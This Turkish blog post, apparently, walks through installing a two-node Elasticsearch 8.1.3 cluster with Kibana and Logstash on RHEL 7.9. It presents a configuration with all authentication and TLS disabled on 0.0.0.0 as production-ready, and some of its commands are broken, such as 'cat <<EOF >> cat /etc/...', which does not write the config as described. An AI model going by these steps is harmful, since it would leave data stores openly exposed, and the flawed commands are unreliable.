{"id":758,"date":"2026-01-16T17:55:11","date_gmt":"2026-01-16T14:55:11","guid":{"rendered":"https:\/\/oraclius.com.tr\/?p=758"},"modified":"2026-04-07T11:26:16","modified_gmt":"2026-04-07T08:26:16","slug":"linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi","status":"publish","type":"post","link":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/","title":{"rendered":"Linux \u00dczerinde 2 Node&#8217;lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi"},"content":{"rendered":"\n<p>Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan <strong>RHEL 7.9 (Red Hat Enterprise Linux)<\/strong> \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir <strong>Elasticsearch 8.1.3 Cluster<\/strong> kurulumunu ele alaca\u011f\u0131z.<\/p>\n\n\n\n<p>Bu rehberde, varsay\u0131lan kurulumlar\u0131n d\u0131\u015f\u0131na \u00e7\u0131karak; \u00f6zel veri yollar\u0131, SSL&#8217;siz (HTTP) ileti\u015fim ve spesifik node rolleri ile ger\u00e7ek bir \u00fcretim (production) senaryosu kurgulayaca\u011f\u0131z.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/oraclius.com.tr\/tr\/linux7-9-kurulum\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Oracle Linux 7.9 Kurulum Rehberi<\/a><\/div>\n<\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">1. Haz\u0131rl\u0131k ve Network Aray\u00fcz\u00fc Tespiti<\/h2>\n\n\n\n<p>Bu rehberde, y\u00fcksek trafikli blog siteleri veya kurumsal veri analiti\u011fi ihtiya\u00e7lar\u0131 i\u00e7in ideal olan, <strong>y\u00fcksek eri\u015filebilir (High Availability)<\/strong> bir ELK Stack yap\u0131s\u0131 kuraca\u011f\u0131z. Sadece yaz\u0131l\u0131m\u0131 y\u00fcklemekle kalmayacak, sistemin neden bu ayarlara ihtiya\u00e7 duydu\u011funu da \u00f6\u011frenece\u011fiz.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.1. Genel Bak\u0131\u015f ve Mimari Plan\u0131<\/h3>\n\n\n\n<p>Kuraca\u011f\u0131m\u0131z yap\u0131 2 adet Elasticsearch node&#8217;undan olu\u015facak. Bu iki sunucu birbiriyle s\u00fcrekli ileti\u015fim halinde kalarak verilerinizin g\u00fcvenli\u011fini ve arama h\u0131z\u0131n\u0131 garanti alt\u0131na alacak.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><td><strong>Sunucu Ad\u0131<\/strong><\/td><td><strong>IP Adresi<\/strong><\/td><td><strong>Rol\u00fc<\/strong><\/td><td><strong>\u0130\u015fletim Sistemi<\/strong><\/td><\/tr><\/thead><tbody><tr><td><strong>oraclius-el1<\/strong><\/td><td>150.150.150.150<\/td><td>Master \/ Data Node<\/td><td>RHEL\/Oracle Linux 7.9<\/td><\/tr><tr><td><strong>oraclius-el2<\/strong><\/td><td>150.150.150.151<\/td><td>Data Node<\/td><td>RHEL\/Oracle Linux 7.9<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><strong>Elasticsearch:<\/strong> Verilerimizin sakland\u0131\u011f\u0131 ve arand\u0131\u011f\u0131 ana motor.<\/p>\n\n\n\n<p><strong>Kibana:<\/strong> Verileri g\u00f6rselle\u015ftirdi\u011fimiz ve k\u00fcmemizi y\u00f6netti\u011fimiz web aray\u00fcz\u00fc.<\/p>\n\n\n\n<p><strong>Logstash:<\/strong> Verileri toplay\u0131p, i\u015fleyip Elasticsearch&#8217;e g\u00f6nderen boru hatt\u0131.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.2. Kullan\u0131lacak Yaz\u0131l\u0131m Versiyonlar\u0131 ve Kaynaklar<\/h3>\n\n\n\n<p>Uyumsuzluk sorunlar\u0131n\u0131 \u00f6nlemek i\u00e7in t\u00fcm bile\u015fenlerin ayn\u0131 versiyon (8.1.3) olmas\u0131 kritik \u00f6nem ta\u015f\u0131r. Bu rehberde kullan\u0131lan paketler resmi <strong>Elastic.co<\/strong> depolar\u0131ndan al\u0131nm\u0131\u015ft\u0131r.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\"><\/div>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/elasticsearch-8-1-3\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><strong>Elasticsearch 8.1.3<\/strong><\/a><\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/kibana-8-1-3\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><strong>Kibana 8.1.3<\/strong><\/a><\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/logstash-8-1-3\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><strong>Logstash 8.1.3<\/strong><\/a><\/div>\n<\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">2. Kurulum \u00d6ncesi Sunucu Optimizasyonu (Production Ready)<\/h2>\n\n\n\n<p>Elasticsearch&#8217;\u00fc kurmadan \u00f6nce Linux i\u015fletim sistemine &#8220;Bu uygulama \u00e7ok yo\u011fun \u00e7al\u0131\u015facak, ona engel olma&#8221; dememiz gerekiyor. Bu ayarlar, ger\u00e7ek bir <strong>\u00fcretim senaryosunda<\/strong> sistemin kilitlenmesini \u00f6nleyen hayati dokunu\u015flard\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-pullquote\"><blockquote><p><strong>\u00d6nemli:<\/strong> Bu ad\u0131mlar\u0131n tamam\u0131 hem <strong>Node-1 (150.150.150.150)<\/strong> hem de <strong>Node-2 (150.150.150.15<\/strong>1<strong>)<\/strong> sunucular\u0131nda uygulanmal\u0131d\u0131r.<\/p><\/blockquote><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">2.1. A\u011f Aray\u00fcz\u00fc ve IP Sabitleme<\/h3>\n\n\n\n<p>\u00dcretim ortam\u0131nda sunucular\u0131n IP adreslerinin de\u011fi\u015fmemesi gerekir. Ayr\u0131ca Elasticsearch konfig\u00fcrasyonunda kullanmak \u00fczere IP&#8217;nizin ba\u011fl\u0131 oldu\u011fu <strong>aray\u00fcz ismini<\/strong> bilmelisiniz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># IP adresinizin hangi aray\u00fczde (ens192, ens33 vb.) oldu\u011funu kontrol edin:\nip a | grep \"150.150.150\" -B2<\/code><\/pre>\n\n\n\n<p>\u00c7\u0131kt\u0131da <code>inet 150.150.150.x<\/code> sat\u0131r\u0131n\u0131n \u00fczerindeki ismi (\u00f6rne\u011fin: <code>ens192<\/code>) not al\u0131n.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Linux Seviyesinde IPv6&#8217;y\u0131 Ge\u00e7ici Olarak Kapat (Opsiyonel ama Garanti)<\/p>\n\n\n\n<p>Bash<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sysctl -w net.ipv6.conf.all.disable_ipv6=1\nsysctl -w net.ipv6.conf.default.disable_ipv6=1<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u015eu ad\u0131mlar\u0131 takip ederek IPv6&#8217;y\u0131 kal\u0131c\u0131 olarak devre d\u0131\u015f\u0131 b\u0131rakabilirsin: \/etc\/sysctl.conf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo bash -c 'cat &lt;&lt; EOF >> \/etc\/sysctl.conf\nnet.ipv6.conf.all.disable_ipv6 = 1\nnet.ipv6.conf.default.disable_ipv6 = 1\nnet.ipv6.conf.lo.disable_ipv6 = 1\nEOF'<\/code><\/pre>\n\n\n\n<p>Dosyaya yazd\u0131ktan sonra ayarlar\u0131n hemen okunmas\u0131 i\u00e7in \u015fu komutu \u00e7al\u0131\u015ft\u0131r:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sysctl -p<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.2. Sanal Bellek Limiti (<code>vm.max_map_count<\/code>)<\/h3>\n\n\n\n<p><strong>Neden 262144?<\/strong> Elasticsearch, verileri diskten \u00e7ok h\u0131zl\u0131 okumak i\u00e7in &#8220;mmap&#8221; (memory map) denilen bir y\u00f6ntem kullan\u0131r. Her bir veri par\u00e7as\u0131 (shard) i\u00e7in i\u015fletim sisteminden bir &#8220;harita&#8221; alan\u0131 ister.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Varsay\u0131lan De\u011fer:<\/strong> \u00c7o\u011fu Linux sisteminde bu limit <strong>65530<\/strong>&#8216;dur.<\/li>\n\n\n\n<li><strong>Neden Art\u0131r\u0131yoruz?<\/strong> Elasticsearch b\u00fcy\u00fcd\u00fck\u00e7e bu harita alanlar\u0131 yetmez ve sistem &#8220;Out of Memory&#8221; (Bellek Yetersiz) hatas\u0131 vererek \u00e7\u00f6ker. <strong>262144<\/strong>, Elastic m\u00fchendislerinin stabil bir \u00e7al\u0131\u015fma i\u00e7in belirledi\u011fi &#8220;alt s\u0131n\u0131r&#8221; de\u011feridir.<\/li>\n\n\n\n<li><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code># De\u011feri kal\u0131c\u0131 olarak sisteme i\u015fle\necho \"vm.max_map_count=262144\" &gt;&gt; \/etc\/sysctl.conf\n# De\u011fi\u015fikli\u011fi hemen aktif et\nsysctl -p<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.3. Dosya ve Bellek Limitleri (<code>limits.conf<\/code>)<\/h3>\n\n\n\n<p>Linux, g\u00fcvenli\u011fi sa\u011flamak i\u00e7in bir uygulaman\u0131n ayn\u0131 anda ka\u00e7 dosya a\u00e7abilece\u011fini veya ne kadar RAM &#8220;kilitleyebilece\u011fini&#8221; k\u0131s\u0131tlar.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>nofile (Number of Open Files):<\/strong> Elasticsearch binlerce k\u00fc\u00e7\u00fck veri dosyas\u0131yla \u00e7al\u0131\u015f\u0131r. Standart limit olan 1024, yo\u011fun kullan\u0131mda sistemin kilitlenmesine neden olur. Biz bunu <strong>65535<\/strong> yaparak yolu a\u00e7\u0131yoruz.<\/li>\n\n\n\n<li><strong>memlock (Memory Lock):<\/strong> \u0130\u015fletim sistemi bazen RAM&#8217;deki veriyi bo\u015falt\u0131p diske (Swap) yazar. Bu, Elasticsearch i\u00e7in &#8220;felaket&#8221; demektir \u00e7\u00fcnk\u00fc disk RAM&#8217;den binlerce kat yava\u015ft\u0131r. <code>unlimited<\/code> diyerek sistemin Elasticsearch&#8217;\u00fcn RAM&#8217;ine dokunmas\u0131n\u0131 yasakl\u0131yoruz.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>cat &lt;&lt;EOF &gt;&gt; \/etc\/security\/limits.conf\nelasticsearch soft memlock unlimited\nelasticsearch hard memlock unlimited\nelasticsearch soft nofile 65535\nelasticsearch hard nofile 65535\nEOF<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.4. Swap (Takas Alan\u0131) Neden Kapat\u0131lmal\u0131?<\/h3>\n\n\n\n<p><strong>Soru:<\/strong> &#8220;Bilgisayar\u0131m h\u0131zlans\u0131n diye swap a\u00e7maz m\u0131y\u0131z?&#8221; <strong>Cevap:<\/strong> Normal bilgisayarda evet, ama Elasticsearch gibi devasa verileri RAM&#8217;de tutan sistemlerde <strong>hay\u0131r.<\/strong> Elasticsearch, ihtiyac\u0131 olan verinin RAM&#8217;de oldu\u011funu varsayar. \u0130\u015fletim sistemi bu veriyi \u00e7akt\u0131rmadan diske (swap) ta\u015f\u0131rsa, Elasticsearch o veriye ula\u015fmaya \u00e7al\u0131\u015ft\u0131\u011f\u0131nda sistem donar. Bu y\u00fczden <code>swapoff -a<\/code> komutuyla bunu engelliyoruz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Swap'\u0131 anl\u0131k olarak kapat:\nswapoff -a\n\n# Kal\u0131c\u0131 hale getirmek i\u00e7in \/etc\/fstab i\u00e7indeki swap sat\u0131r\u0131n\u0131 bulup ba\u015f\u0131na # ekleyin:\nvi \/etc\/fstab<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.5. Disk Yap\u0131s\u0131 Haz\u0131rl\u0131\u011f\u0131<\/h3>\n\n\n\n<p>Verilerin <code>\/var\/lib\/elasticsearch<\/code> (sistem diski) yerine ayr\u0131 bir <code>\/data<\/code> dizininde tutulmas\u0131, ileride disk yetmedi\u011finde sistemi bozmadan yeni bir disk eklemenizi sa\u011flar.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Veri ve Log klas\u00f6rlerini olu\u015ftur\nmkdir -p \/data\/elasticsearch\/data\nmkdir -p \/data\/elasticsearch\/logs<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.6. Systemd Servis Optimizasyonu (Memory Lock \u0130\u00e7in)<\/h3>\n\n\n\n<p>Belle\u011fi kilitlemek (<code>memlock<\/code>) sadece <code>limits.conf<\/code> ile bitmez. Linux servis y\u00f6neticisine (systemd) bu yetkiyi \u00f6zel olarak vermeliyiz. <strong>Bu ad\u0131m genellikle atlan\u0131r ve en \u00e7ok hata buradan \u00e7\u0131kar.<\/strong><\/p>\n\n\n\n<p><em>Hen\u00fcz Elasticsearch y\u00fckl\u00fc olmad\u0131\u011f\u0131 i\u00e7in bu dosyay\u0131 \u015fimdi olu\u015fturamayabiliriz, ancak y\u00fcklemeden hemen sonra yapaca\u011f\u0131m\u0131z ilk i\u015f bu olacak.<\/em><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">3. Ad\u0131m: Elasticsearch 8.1.3 Kurulumu ve &#8220;Cluster&#8221; Yap\u0131land\u0131rmas\u0131<\/h2>\n\n\n\n<p>Sunucular\u0131m\u0131z\u0131 optimize ettik. \u015eimdi ana motorumuzu kurma ve iki sunucuyu birbiriyle konu\u015fturma vakti. Bu b\u00f6l\u00fcmde yapaca\u011f\u0131m\u0131z ayarlar, sistemi SSL karma\u015fas\u0131ndan kurtar\u0131p do\u011frudan veri i\u015flemeye odaklanmas\u0131n\u0131 sa\u011flayacak.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.1. Elasticsearch Yaz\u0131l\u0131m\u0131n\u0131n Sunuculara Y\u00fcklenmesi<\/h3>\n\n\n\n<p>Bu ad\u0131m\u0131 her iki sunucuda da (<strong>Node-1 ve Node-2<\/strong>) s\u0131rayla yap\u0131n.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo rpm -ivh elasticsearch-8.1.3-x86_64.rpm<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.2. Dosya Yetkilerinin Verilmesi (\u00c7ok Kritik!)<\/h3>\n\n\n\n<p>B\u00f6l\u00fcm 2&#8217;de olu\u015fturdu\u011fumuz <code>\/data<\/code> klas\u00f6rleri \u015fu an &#8220;root&#8221; kullan\u0131c\u0131s\u0131na ait. Ancak Elasticsearch kendi kullan\u0131c\u0131s\u0131yla (<code>elasticsearch<\/code>) \u00e7al\u0131\u015f\u0131r. E\u011fer yetki vermezsek servis ba\u015flamaz ve &#8220;Permission Denied&#8221; hatas\u0131 al\u0131rs\u0131n\u0131z.<\/p>\n\n\n\n<p><strong>Her iki sunucuda \u00e7al\u0131\u015ft\u0131r\u0131n:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Veri ve Log klas\u00f6rlerinin anahtar\u0131n\u0131 Elasticsearch'e teslim ediyoruz\nchown -R elasticsearch:elasticsearch \/data\/elasticsearch<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.3. Node-1 (Master) Yap\u0131land\u0131rmas\u0131 (150.150.150.150)<\/h3>\n\n\n\n<p>\u015eimdi ilk sunucumuzu &#8220;Y\u00f6netici (Master)&#8221; olarak tan\u0131mlayaca\u011f\u0131z. <code>\/etc\/elasticsearch\/elasticsearch.yml<\/code> dosyas\u0131n\u0131 d\u00fczenleyece\u011fiz.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>\u0130pucu:<\/strong> Dosyadaki her \u015feyi silip a\u015fa\u011f\u0131daki temiz yap\u0131land\u0131rmay\u0131 yap\u0131\u015ft\u0131rabilirsiniz.<\/p>\n<\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>cat &lt;&lt;EOF &gt;&gt; cat \/etc\/elasticsearch\/elasticsearch.yml\n# --- CLUSTER VE NODE AYARLARI ---\ncluster.name: elastic-cluster\nnode.name: elastic1  # (Node-2'de bunu elastic2 yapmay\u0131 unutma)\npath.data: \/data\/elasticsearch\/data\npath.logs: \/data\/elasticsearch\/logs\nbootstrap.memory_lock: true\n\n# --- A\u011e AYARLARI (D\u0131\u015f eri\u015fim i\u00e7in en temiz hali) ---\nnetwork.host: 0.0.0.0\nhttp.host: &#91;_local_, _ens34_]\ntransport.host: &#91;_local_, _ens34_]\n\n# Port ayarlar\u0131n\u0131 sabitleyelim\nhttp.port: 9200\ntransport.port: 9300\n\n# --- G\u00dcVENL\u0130K AYARLARI (HTTP Modu) ---\nxpack.security.enabled: false\nxpack.security.enrollment.enabled: false\nxpack.security.http.ssl.enabled: false\nxpack.security.transport.ssl.enabled: false\n\n# --- PERFORMANS ARTTIRICI PARAMETRELER ---\n# RAM'in ne kadar\u0131n\u0131n indeksleme i\u015flemine ayr\u0131laca\u011f\u0131n\u0131 belirler (Varsay\u0131lan %10'dur, biz %20 yap\u0131yoruz)\nindices.memory.index_buffer_size: 20%\n\n# Sorgular s\u0131ras\u0131nda RAM \u015fi\u015fmesini \u00f6nleyen koruma ayar\u0131\nindices.breaker.total.use_real_memory: true\nindices.fielddata.cache.size: 40%\n\n# Disk doluluk oranlar\u0131n\u0131 y\u00f6netelim (Disk %90 dolunca veri yazmay\u0131 keser)\ncluster.routing.allocation.disk.threshold_enabled: true\ncluster.routing.allocation.disk.watermark.low: \"85%\"\ncluster.routing.allocation.disk.watermark.high: \"90%\"\n\n# --- CLUSTER Y\u00d6NET\u0130M\u0130 ---\n# Node-1'de bu ismi yaz\u0131n:\ncluster.initial_master_nodes: &#91;\"elastic1\"]\n\n\n# Node Rolleri ( viewer silindi, do\u011fru roller eklendi)\nnode.roles: &#91; master, data, ingest, remote_cluster_client ]\n\n# --- D\u0130\u011eER ---\nhttp.max_content_length: 500mb\n\nEOF<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.4. Node-2 (Data) Yap\u0131land\u0131rmas\u0131 (150.150.150.151)<\/h3>\n\n\n\n<p>\u0130kinci sunucumuz verileri depolayacak. Yap\u0131land\u0131rma \u00e7ok benzer ama ufak farklar var.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat &lt;&lt;EOF &gt;&gt; cat \/etc\/elasticsearch\/elasticsearch.yml\ncluster.name: elastic-cluster\nnode.name: elastic2\npath.data: \/data\/elasticsearch\/data\npath.logs: \/data\/elasticsearch\/logs\nbootstrap.memory_lock: true\n\nnetwork.host: 0.0.0.0\nhttp.port: 9200\ntransport.port: 9300\n\nhttp.host: &#91;_local_, _ens34_]\ntransport.host: &#91;_local_, _ens34_]\n\ndiscovery.seed_hosts: &#91;\"150.150.150.150:9300\"]\n\nxpack.security.enabled: false\nxpack.security.http.ssl.enabled: false\nxpack.security.transport.ssl.enabled: false\n\nindices.memory.index_buffer_size: 20%\nindices.breaker.total.use_real_memory: true\nindices.fielddata.cache.size: 40%\nhttp.max_content_length: 500mb\n\nnode.roles: &#91; data, ingest, remote_cluster_client ]\n\nEOF<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.5. Bellek (RAM) Kilidi \u0130\u00e7in Son Dokunu\u015f<\/h3>\n\n\n\n<p>B\u00f6l\u00fcm 2&#8217;de konu\u015ftu\u011fumuz &#8220;Memory Lock&#8221; olay\u0131n\u0131n tam \u00e7al\u0131\u015fmas\u0131 i\u00e7in servis dosyas\u0131n\u0131 d\u00fczenlemeliyiz.<\/p>\n\n\n\n<p><strong>Her iki sunucuda yap\u0131n:<\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><code>systemctl edit elasticsearch<\/code> komutunu yaz\u0131n.<\/li>\n\n\n\n<li>A\u00e7\u0131lan bo\u015f ekrana \u015funu yap\u0131\u015ft\u0131r\u0131n ve kaydedip \u00e7\u0131k\u0131n (Ctrl+O, Enter, Ctrl+X):<\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.6. Servisleri Ba\u015flatma ve &#8220;Merhaba&#8221; Testi<\/h3>\n\n\n\n<p>Her \u015fey haz\u0131r! \u015eimdi motorlar\u0131 \u00e7al\u0131\u015ft\u0131ral\u0131m.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u00d6nce Node-1'de, sonra Node-2'de \u00e7al\u0131\u015ft\u0131r\u0131n:\nsystemctl daemon-reload\nsystemctl enable elasticsearch\nsystemctl start elasticsearch<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>Nas\u0131l Kontrol Ederim?<\/strong> Taray\u0131c\u0131n\u0131zdan veya terminalden \u015fu adrese gidin: <code>http:\/\/150.150.150.150:9200\/_cluster\/health?pretty<\/code><\/p>\n\n\n\n<p>E\u011fer ekranda \u015funlar\u0131 g\u00f6r\u00fcyorsan\u0131z ba\u015fard\u0131n\u0131z:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>\"status\": \"green\"<\/code> veya <code>\"yellow\"<\/code> (2 node&#8217;da ye\u015fil olmas\u0131 beklenir).<\/li>\n\n\n\n<li><code>\"number_of_nodes\": 2<\/code> (\u0130ki sunucu el s\u0131k\u0131\u015fm\u0131\u015f demektir).<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X GET \"http:\/\/150.150.150.150:9200\/\"\n{\n  \"name\" : \"elastic1\",\n  \"cluster_name\" : \"elastic-cluster\",\n  \"cluster_uuid\" : \"grVC1yn_SvmOj9oDC_9knQ\",\n  \"version\" : {\n    \"number\" : \"8.1.3\",\n    \"build_flavor\" : \"default\",\n    \"build_type\" : \"rpm\",\n    \"build_hash\" : \"39afaa3c0fe7db4869a161985e240bd7182d7a07\",\n    \"build_date\" : \"2022-04-19T08:13:25.444693396Z\",\n    \"build_snapshot\" : false,\n    \"lucene_version\" : \"9.0.0\",\n    \"minimum_wire_compatibility_version\" : \"7.17.0\",\n    \"minimum_index_compatibility_version\" : \"7.0.0\"\n  },\n  \"tagline\" : \"You Know, for Search\"\n}<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;150.150.150.150:9200\/_cluster\/health?pretty\n&gt;&gt;\t\n\t\ncluster_name\t\"elastic-cluster\"\nstatus\t\"green\"\ntimed_out\tfalse\nnumber_of_nodes\t2\nnumber_of_data_nodes\t2\nactive_primary_shards\t1\nactive_shards\t2\nrelocating_shards\t0\ninitializing_shards\t0\nunassigned_shards\t0\ndelayed_unassigned_shards\t0\nnumber_of_pending_tasks\t0\nnumber_of_in_flight_fetch\t0\ntask_max_waiting_in_queue_millis\t0\nactive_shards_percent_as_number\t100<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 4: Kibana 8.1.3 Kurulumu ve Yap\u0131land\u0131rmas\u0131<\/h2>\n\n\n\n<p>Elasticsearch&#8217;\u00fc &#8220;kasa&#8221; olarak d\u00fc\u015f\u00fcn\u00fcrsek, Kibana onun &#8220;ekran\u0131&#8221; ve &#8220;klavyesi&#8221;dir.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">4.1. Kibana Paketinin Kurulmas\u0131<\/h2>\n\n\n\n<p>Sadece <strong>Node-1<\/strong> terminalinde \u015fu komutlar\u0131 \u00e7al\u0131\u015ft\u0131r:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Paketi y\u00fckleyelim\nsudo rpm -ivh kibana-8.1.3-x86_64.rpm<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.2. Kibana Yap\u0131land\u0131rmas\u0131 (<code>kibana.yml<\/code>)<\/h3>\n\n\n\n<p>Senin Elasticsearch&#8217;te kulland\u0131\u011f\u0131n &#8220;SSL&#8217;siz ve \u015eifresiz&#8221; yap\u0131ya uygun olarak Kibana&#8217;y\u0131 ayarlayal\u0131m.<\/p>\n\n\n\n<p><strong>Node-1<\/strong>&#8216;de \u015fu komutu \u00e7al\u0131\u015ft\u0131rarak dosyay\u0131 en g\u00fcncel ve hatas\u0131z haliyle olu\u015ftural\u0131m:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat &lt;&lt;EOF &gt;&gt; cat \/etc\/kibana\/kibana.yml\nserver.port: 5601\nserver.host: \"0.0.0.0\"\nserver.name: \"blog-kibana\"\n\nserver.publicBaseUrl: \"http:\/\/150.150.150.150:5601\"\n\nelasticsearch.hosts: &#91;\"http:\/\/150.150.150.150:9200\"]\n\nelasticsearch.requestTimeout: 300000\nelasticsearch.shardTimeout: 120000\n\nlogging:\n  appenders:\n    file:\n      type: file\n      fileName: \/var\/log\/kibana\/kibana.log\n      layout:\n        type: json\n    default:\n      type: console\n      layout:\n        type: pattern\n\nserver.compression.enabled: true\n\ni18n.locale: \"en\"\n\nxpack.monitoring.ui.container.elasticsearch.enabled: true\n\nEOF<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.3. Servisi Ba\u015flatma<\/h3>\n\n\n\n<p>Kibana varsay\u0131lan olarak <strong>5601<\/strong> portunu kullan\u0131r.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Kibana servisini ba\u015flatal\u0131m\nsystemctl daemon-reload\nsystemctl enable kibana\nsystemctl start kibana<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.4. Aray\u00fcze \u0130lk Giri\u015f (Test)<\/h3>\n\n\n\n<p>Kibana&#8217;n\u0131n aya\u011fa kalkmas\u0131 1-2 dakika s\u00fcrebilir. Servis ba\u015flad\u0131ktan sonra kendi bilgisayar\u0131ndaki taray\u0131c\u0131y\u0131 (Chrome\/Firefox) a\u00e7 ve \u015funu yaz:<\/p>\n\n\n\n<p><code>http:\/\/150.150.150.150:5601<\/code><\/p>\n\n\n\n<p><strong>G\u00f6rmen Gereken:<\/strong> Herhangi bir \u015fifre sormadan do\u011frudan Kibana&#8217;n\u0131n ana sayfas\u0131n\u0131n (Welcome to Elastic) a\u00e7\u0131lmas\u0131.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">5: Logstash 8.1.3 Kurulumu ve Veri Hatt\u0131 (Pipeline) Olu\u015fturma<\/h2>\n\n\n\n<p><strong>Logstash<\/strong>, farkl\u0131 kaynaklardan gelen karma\u015f\u0131k verileri toplar, d\u00f6n\u00fc\u015ft\u00fcr\u00fcr ve Elasticsearch&#8217;e d\u00fczenli bir \u015fekilde nakleder. Bu b\u00f6l\u00fcm, blog projenin veriyi i\u015fleme mutfa\u011f\u0131d\u0131r.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.1. Logstash Kurulumu (Node-1)<\/h3>\n\n\n\n<p>Logstash&#8217;i genellikle Kibana ile ayn\u0131 sunucuya (Node-1) kurmak y\u00f6netim kolayl\u0131\u011f\u0131 sa\u011flar.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Paketi y\u00fckleyelim\nsudo rpm -ivh logstash-8.1.3-x86_64.rpm<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.2. Logstash Performans ve Sistem Ayarlar\u0131<\/h3>\n\n\n\n<p>Logstash bir Java uygulamas\u0131d\u0131r 